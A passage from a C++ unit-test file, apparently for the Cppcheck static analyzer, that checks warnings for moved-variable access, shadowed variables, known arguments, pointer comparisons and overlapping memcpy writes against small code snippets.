\\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool 